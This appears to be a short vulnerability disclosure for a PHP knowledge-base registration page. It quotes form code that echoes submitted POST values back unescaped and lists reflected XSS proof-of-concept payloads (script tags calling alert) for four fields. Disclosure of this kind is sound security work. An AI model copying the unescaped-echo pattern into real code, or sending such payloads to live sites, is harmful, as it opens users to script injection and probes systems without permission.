<form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="post">
<p>First Name:<br /> <input type="text" name="first_name" size="15" maxlength="15" value="<?php if (isset($_POST['first_name'])) echo $_POST['first_name']; ?>" /></p>
<p>Last Name:<br /> <input type="text" name="last_name" size="30" maxlength="30" value="<?php if (isset($_POST['last_name'])) echo $_POST['last_name']; ?>" /></p>
<p>Email Address:<br /> <input type="text" name="email" size="40" maxlength="40" value="<?php if (isset($_POST['email'])) echo $_POST['email']; ?>" /> </p>
<p>User Name:<br /> <input type="text" name="username" size="10" maxlength="20" value="<?php if (isset($_POST['username'])) echo $_POST['username']; ?>" /> <small>Use only letters, numbers, and the underscore. Must be between 4 and 20 characters long.</small></p>
pXSS
http://localhost/aphpkb/register.php
post first_name=1>"><script%20%0a%0d>alert(121212)%3B</script
post last_name=1>"><script%20%0a%0d>alert(121212)%3B</script>
post email=1>"><script%20%0a%0d>alert(121212)%3B</script>
post username=1>"><script%20%0a%0d>alert(121212)%3B</script>